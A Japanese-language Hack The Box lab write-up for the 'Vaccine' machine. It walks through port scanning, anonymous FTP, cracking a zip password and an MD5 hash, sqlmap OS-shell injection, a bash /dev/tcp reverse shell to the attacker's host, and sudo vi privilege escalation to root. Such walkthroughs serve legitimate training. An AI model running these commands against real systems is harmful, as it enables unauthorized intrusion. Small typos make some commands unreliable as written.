こんにちは。ゆーろんです。
今回は Hack The Boxにて提供されいる Starting Pointsの「Vaccine」に関する攻略方法を記載していきたいと思います。
初めてのWriteUpの記述となるので温かい目でご覧ください。
テクニック
テクニック | 説明 |
---|---|
ネットワークサービススキャン | NMAPによるポートスキャン |
ZIPパスワードの解析 | zip2johnとjohntheripperによるパスワード解析 |
SQL/コマンドインジェクション | SQLMapによるSQL/コマンドインジェクション |
リバースシェルの確立 | nc/bashコマンドによるリバースシェルの確立 |
手順
スキャニング/列挙
Nmapによりポートスキャン
Nmapによりポートスキャンを行います。
sudo nmap -sC -sV 10.10.14.53 --open -p- -T3
上記コマンドにより仮想しているサービスは以下のように判明しました。
ポート番号 | サービス | 詳細 |
---|---|---|
21/tcp | ftp | vsftpd 3.0.3 |
22/tcp | ssh | OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.4.41 ((Ubuntu)) |
FTP接続
ftpがanonymousログインできることがNMAPのスキャンで判明します。
ftpにanonymousログインを行います。
ftp 10.10.14.53
ログイン後、ls -al
コマンドでbackup.zip
が見つかるのでget
コマンドでダウンロードします。
get backup.zip
John The Ripperによるパスワード解析
入手したzipをunzip
コマンドで解凍しようとするとパスワードを求められます。
そこでJohn the ripperを使い、パスワードクラックを行います。
# zipファイルのパスワードハッシュの作成
zip2john backup.zip > hast.txt
# rockyou.txtを用いてパスワード総当たり
john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt
するとパスワードが741852963
と判明します。
このパスワードで解凍を行います。
Md5の解析
するとindex.php
とstyle.css
を入手できます。
index.phpはターゲットに80ポートでアクセスした際の認証画面のコードだと推測できます。
このファイルのページ上部を見ると以下のように書かれています。
<?php
session_start();
if(isset($_POST["username"]) && isset($_POST["password"])) {
if($_POST["username"] === "admin" && md5($_POST["password"]) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION["login"] = "true";
header("Location: dashboard.php");
}
}
?>
md5でハッシュ化したパスワードが2cb42f8734ea607eefed3b70af13bbd3のものと一致すると認証突破できそうです。
そこでcrackstationを利用して既存のレインボーテーブルを調べるとハッシュ化前のパスワードがqwerty789
であると判明します。
侵入
ブラウザでターゲットにアクセスして、admin
、qwerty789
でアクセスするとカタログページが表示されます。
このページはDBを利用していることがわかるので、検索欄のクエリにエラーになるように'
を追加して反応を調べます。
SQLMAPを使用してアクセスできそうです。
SQLインジェクションとOSコマンドインジェクションができるかSQLmapで試してみます。
認証ページアクセスのためCookieはブラウザのF12(開発者ツール)のストレージから入手します。
sqlmap -u "http://10.10.14.53/dashboard.php?search=aaa'" --cookie="PHPSESSID=r45ajjsna9sja8js8ak2Sh" --os-shell
無事にシェルにアクセスできました。
シェルにアクセスできたら、定番のリバースシェルを確立させます。
攻撃機のターミナルでnc -lnvp 4444
で待ち受けを開始したら、sqlmapシェルの方で以下のように入力します。
bash -c "bash -i >& /dev/tcp/<攻撃機のIPアドレス>/4444 0>&1"
すると攻撃機でシェルを入手できます。
なお、安定化は定番のpython3 -c "import pty;pty.spawn("/bin/bash")"
で行えます。
シェル入手後、ls -al
コマンドでユーザフラグ(user.txt
)を入手できます。
権限昇格
シェル入手後にdashboard.php
にアクセスできるので、catやtailコマンドなどで閲覧し
DBへアクセスするためのユーザ名とパスワードである、postgres
とP@s50rd!
を入手できます。
sshコマンドでターゲットにアクセスします。
ssh postgres@10.10.14.53
アクセスできたらsudo -l
で利用可能なコマンドと権限の確認します。
すると/bin/vi /etc/postgresql/11/main/pg_hda.conf
が利用できるとあります。
つまりこのファイルから/bin/vi
コマンドを利用して権限昇格できる可能性が高いです。
sudo /bin/vi /etc/postgresql/11/main/pg_hda.conf
入力後、:shell
と対話モードで入力するとrootの権限昇格ができました。
後はroot.txt
を見つけるだけでrootフラグの入手は完了です。